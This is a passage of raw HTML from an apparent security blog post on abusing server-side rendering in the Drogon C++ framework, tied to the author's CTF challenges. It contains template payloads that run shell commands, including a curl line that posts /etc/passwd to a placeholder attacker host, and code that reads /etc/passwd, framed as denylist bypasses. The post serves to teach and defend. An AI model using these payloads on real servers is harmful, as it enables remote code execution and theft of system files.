&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.cc&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Example_tmp_stream&lt;/code&gt; is a &lt;a href=&quot;https://stackoverflow.com/a/20595061/10239789&quot;&gt;stringstream&lt;/a&gt; used to prepare the final HTML. Eventually, it gets converted to a string and returned.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;{% ... %}&lt;/code&gt; - equivalent to &lt;code&gt;&amp;lt;%c++ $$ &amp;lt;&amp;lt; ... %&amp;gt;&lt;/code&gt;, it just echoes the expression. The closing &lt;code&gt;%}&lt;/code&gt; must be on the same line as the opening &lt;code&gt;{%&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;%inc ... %&amp;gt;&lt;/code&gt; - meant for including additional libraries. Code is placed in file-level scope.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;algorithm&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;MY_MACRO&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;my_function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Example&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.cc&quot; data-copy-off=&quot;&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Boilerplate: includes...&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;algorithm&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;MY_MACRO&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;my_function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; drogon&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string &lt;span class=&quot;token class-name&quot;&gt;Example&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;genText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; DrTemplateData&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; Example_view_data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    drogon&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;OStringStream Example_tmp_stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string layoutName&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;h1&amp;gt;Example&amp;lt;/h1&amp;gt;&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Boilerplate: convert stream to string and return...&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.cc&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[[ ... ]]&lt;/code&gt; - for inserting data passed from application code.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Hi &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.cc&quot; data-copy-off=&quot;&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;h1&amp;gt;Hi &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; val&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;Example_view_data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typeid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        Example_tmp_stream&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;any_cast&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typeid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typeid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        Example_tmp_stream&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;any_cast&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;!&amp;lt;/h1&amp;gt;&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.cc&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;attack-vectors&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#attack-vectors&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Attack Vectors&lt;/h2&gt;
&lt;p&gt;There are countless attack vectors to address.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;RCE via Rendered CSP.&lt;/strong&gt; First, we&#39;ll start by looking at a simple PoC which triggers RCE when the view is rendered.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bypasses.&lt;/strong&gt; We&#39;ll survey common functions and tricks to bypass a denylist.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RCE via Init Section.&lt;/strong&gt; Here, we&#39;ll trigger RCE without rendering the view.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RCE via File Name.&lt;/strong&gt; Finally, we&#39;ll discuss a harrowing insecurity in the DVL code path.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Not all of these were exploitable in my CTF chals. I selected a few vectors which I thought were interesting.&lt;/p&gt;
&lt;h3 id=&quot;1-rce-via-rendered-csp&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#1-rce-via-rendered-csp&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 1. RCE via Rendered CSP&lt;/h3&gt;
&lt;p&gt;Suppose an attacker can write any CSP content in the dynamic views path. In the simplest case where filtering or checking is non-existent, the attacker can execute malicious commands using the usual &lt;code&gt;system&lt;/code&gt; and &lt;code&gt;execve&lt;/code&gt; functions found in libc. This allows us to exfiltrate sensitive information and launch reverse shells.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;To trigger this RCE, the application code needs to render the view with &lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpResponse&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;newHttpViewResponse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Example.csp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The following diagram shows where code execution occurs along the pipeline. We&#39;ll update the diagram as we explore other vectors.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Vanilla RCE with Drogon DVL: we can execute code with `&lt;%c++`.&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render-516w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render-516w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 516 / 564&quot; alt=&quot;Vanilla RCE with Drogon DVL: we can execute code with `&lt;%c++`.&quot; title=&quot;Vanilla RCE with Drogon DVL: we can execute code with `&lt;%c++`.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render-512w.webp 512w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render-516w.webp 516w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 516px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;A simple and direct method of abusing CSPs. Execution occurs when the view is rendered, e.g. by calling &lt;code&gt;newHttpViewResponse&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;h3 id=&quot;2-bypassing-simple-denylists&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#2-bypassing-simple-denylists&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 2. Bypassing Simple Denylists&lt;/h3&gt;
&lt;p&gt;If the loophole resides in a few key functions, can&#39;t we simply block those functions?&lt;/p&gt;
&lt;p&gt;No. This is extremely difficult in a diverse language such as C++. Not only does it have its own language features and standard library; but it also inherits most of C&#39;s baggage. There are &lt;em&gt;many&lt;/em&gt; ways to bypass a denylist. As such, a sufficiently secure denylist will either be exhaustively long or severely limiting.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;This goes to show how denylists (blacklists) are generally discouraged from a security PoV, as it&#39;s difficult to account for all methods of bypass. In the case of programming languages, however, allowlists (whitelists) are also difficult to construct, as limiting ourselves to a set of tokens severely constrict the realm of possible CSP programs, and may hinder development.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The only solution, really, is to not enable DVLs. More on mitigations later.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;A sufficient denylist needs to consider the following approaches, similar to any C/C++ denylist-bypass challenge. The actual denylist has been left as an exercise for the reader.&lt;/p&gt;
&lt;h4 id=&quot;file-read-write-with-fstream-fopen&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#file-read-write-with-fstream-fopen&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; File Read/Write with &lt;code&gt;fstream&lt;/code&gt;, &lt;code&gt;fopen&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;fstream&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;sstream&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;ifstream ifs&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ifs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;is_open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; ifs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;rdbuf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Failed to open file.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;file-read-write-with-open-read&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#file-read-write-with-open-read&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; File Read/Write with &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;If high-level file IO isn&#39;t an option, we could always resort to the lower-level Linux functions.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
